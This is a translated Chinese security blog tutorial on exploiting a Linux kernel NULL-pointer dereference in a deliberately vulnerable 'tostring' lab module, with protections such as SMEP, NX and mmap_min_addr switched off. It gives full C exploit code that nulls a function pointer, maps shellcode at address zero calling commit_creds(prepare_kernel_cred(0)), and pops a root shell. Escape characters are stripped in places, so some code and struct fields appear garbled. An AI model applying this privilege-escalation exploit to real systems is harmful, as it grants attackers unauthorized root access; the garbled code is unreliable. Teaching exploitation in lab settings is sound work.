【技术分享】内核exploit——如何应对空指针异常现象

https://p2.ssl.qhimg.com/t01852dfd2876269640.png

译者:紫曦归来

预估稿费:160RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

什么是空指针异常?

如果一个未初始化或零编号(zero-ed out)的指针被取消引用时,将会导致程序计数器/指令指针(PC/IP)指向0,从而导致内核崩溃!

当遇到上述情况,首先需检查是否启用了任何保护程序,如果启用了就将其全部关闭,包括管理员保护模式、数据执行保护模式(DEP / NX)以及mmap_min_addr保护机制。

ring0层与ring3层有所区别(Intel的CPU将特权级别分为4个级别:RING0、RING1、RING2、RING3。Windows只使用其中的两个级别RING0和RING3,RING0只给操作系统用,RING3谁都能用)。由于计算机使用二进制,因此在ring3层操作过程中,我们仅需要关注如何追加一个shell命令,我们需要这个时间来修改权限。庆幸的是,目前仍存在一些内核结构,持有当前的进程权限。我们将尝试利用权限来进行root,并在处理完这些后再追加一个shell命令。


如何提升权限?

在进行提升权限操作前,我们需要知道我们需要做哪些事情:

每个进程信息都存储为一个进程描述符(task_struct)

下列是sched.h文件:

struct task_struct {
/* ... */
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
/* ... */
}
下列是cred.h文件:
struct cred {
/* ... */
kuid_tuid;/* real UID of the task */
kgid_tgid;/* real GID of the task */
kuid_tsuid;/* saved UID of the task */
kgid_tsgid;/* saved GID of the task */
kuid_teuid;/* effective UID of the task */
kgid_tegid;/* effective GID of the task */
/* ... */
}

下面我们将主要关注有效的用户身份证明(UID)任务。如果我们成功将其值设置为0,则当前任务将具有root权限!

我们应该如何找到他们?

可以利用一些内核符号。

一些功能可用于提升当前的进程权限,它们的地址是静态的,可以根据我们处理的内核重新生成:

/proc/kallsyms, /proc/ksyms, /dev/ksyms..

上述这些函数在cred.c.中。

extern int commit_creds(struct cred *);
/* ... */
extern struct cred *prepare_kernel_cred(struct task_struct *);

我们可以看到,prepare_kernel_cred()函数的返回值类型为struct cred *,之后再以此作为参数传递给commit_creds(),这样就可以将我们新获得的权限分配给当前的进程!

结论:可以通过“commit_creds(prepare_kernel_cred(0))”命令来提升权限;

了解漏洞并学会触发这些漏洞

在进行内核开发前,我们需要知道如何触发漏洞,还需要知道在什么情况下指针会被取消。

 http://p9.qhimg.com/t01ea1a755419dfcb49.png

解决内核威胁问题

我们首先需要检查保护程序

 http://p4.qhimg.com/t01f6ec8ecdfc7b94be.png

如上图所示,所有的保护措施都出于关闭状态。

在“tostring_write()”函数里,我们可以看到这些命令应该始终以10'*'开头。

当这个内核模块被加载时,它会在每次运行时启动结构,每次运行都会启动一次。

 http://p6.qhimg.com/t01d683a61035d708e8.png

如上图所示,我们不难发现这会启动“tostring_create()”。当在“tostring_s struct!”下设置函数指针时,该功能就会响应

 http://p5.qhimg.com/t01aa2a78302334f637.png

这一点非常重要,请谨记于心!因此,这两个指针在每次运行时都被设置一次(或者需要的话)。

 http://p1.qhimg.com/t0136dcd46473786af2.png

现在我们轻易地就能辨认出漏洞的函数,如下所示:

static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
char *bufk;
int i,j;
printk(KERN_INFO "Tostring: write()n");
bufk = kmalloc(len + 1, GFP_DMA);
if (bufk){
if (copy_from_user(bufk, buf, len))
    return -EFAULT;
bufk[len] = '';
i=0;
while(i <len) {
  for (j=0;(j<10) && (bufk[j]=='*');j++);
  if (j == 10) {
    for (j=i+10;(bufk[j]!='') && (bufk[j] != 'n');j++);
    bufk[j]='';
    printk("Tostring: Cmd %sn",bufk+i+10);
    switch(bufk[i+10]) {
    case 'H':
      tostring->tostring_read= tostring_read_hexa;
      break;
    case 'D':
      tostring->tostring_read= tostring_read_dec;
      break;
    case 'S':
      printk("Tostring: Delete stackn");
      kfree(tostring->tostring_stack);
      tostring->tostring_stack=NULL;
      tostring->tostring_read=NULL;
      tostring->pointer=0;
      tostring->pointer_max=0;
      break;
    case 'N':
      printk("Tostring: Stack create with size %ldn",local_strtoul(bufk+i+11,NULL,10));
      if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10));
      if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stackn");
      break;
    }
    i=j+1;
  }
  else {
    printk("tostring: insertion %lldn",*((long long int *) (bufk+i)));
    if (tostring->pointer >= tostring->pointer_max)
      printk(KERN_INFO "Tostring: Stack fulln");
    else
      tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i));
    i = i+sizeof(long long int);
  }
}
kfree(bufk);
}
return len;
}

正如我们所见,在“ten '*'”后会出现一个“S”。这就会使函数指针tostring_read无效,而这一点对我们有力。

但是,在将其设置为null之后,我们需要读取它,以使其被取消引用。因此,我们需要读取该文件,以触发启用“tostring_read()!”命令。

 http://p8.qhimg.com/t013e67bd64133d02e9.png

我们开始编写开发程序。我们之前使用Python语言进行编写,现在我们换成C语言。

我们先写一个较为简单的以触发命令和清除函数指针。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
/**/
#define vulnerable_device "/dev/tostring"
/**/
void main(void){
int fd;
char payload[15];
/**/
memset(payload, '*', 10);
/**/
payload[10] = 'S';
payload[11] = 0;
/**/
fd = open(vulnerable_device, O_RDWR);
if(fd < 0){
printf("Couldn't open device!");
}
/**/
write(fd, payload, 12);
}

目前一切都比较顺利,但我们仍需通过读取文件使其取消引用。

read(fd, 0, 1);

我们做到了,我们将其IP指针设置为0

 http://p3.qhimg.com/t01b7231f5920d7458d.png

幸运的是,mmap_min_addr保护处于关闭状态。 我们可以在NULL中分配一个小区域,并放置我们的shellcode来提升权限。

现在就可以从“/proc/kallsyms!”中获得“prepare_kernel_cred”和“commit_creds”地址。

 http://p3.qhimg.com/t015c9180be49718961.png

我将使用rasm2做一个shellcode:

 http://p6.qhimg.com/t014ef23a0c11c23129.png

以下是shellcode:

 http://p5.qhimg.com/t013a96886f4d7a2170.png

在我们的开发程序中取消指针前,我们就可以开始添加shellcode:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
/**/
#define vulnerable_device "/dev/tostring"
/**/
void pop_shell(){
system("sh");
}
/**/
void main(void){
int fd;
char payload[15];
char shellcode[15] = "x31xc0xe8xe9x11x07xc1xe8x74x0ex07xc1xc3";
/**/
memset(payload, '*', 10);
/**/
payload[10] = 'S';
payload[11] = 0;
/**/
fd = open(vulnerable_device, O_RDWR);
if(fd < 0){
printf("Couldn't open device!");
}
write(fd, payload, 12);
/**/
mmap(NULL, sizeof(shellcode), PROT_EXEC |PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0);
memcpy(NULL, shellcode, sizeof(shellcode));
/**/
read(fd, 0, 1);
/**/
pop_shell();
}

在完成后,开始运行

 http://p0.qhimg.com/t0123a08784874220fb.png

以下是root shell

 https://p4.ssl.qhimg.com/t0125c9203546968279.png

希望文章能对大家有所启发和帮助!

(完)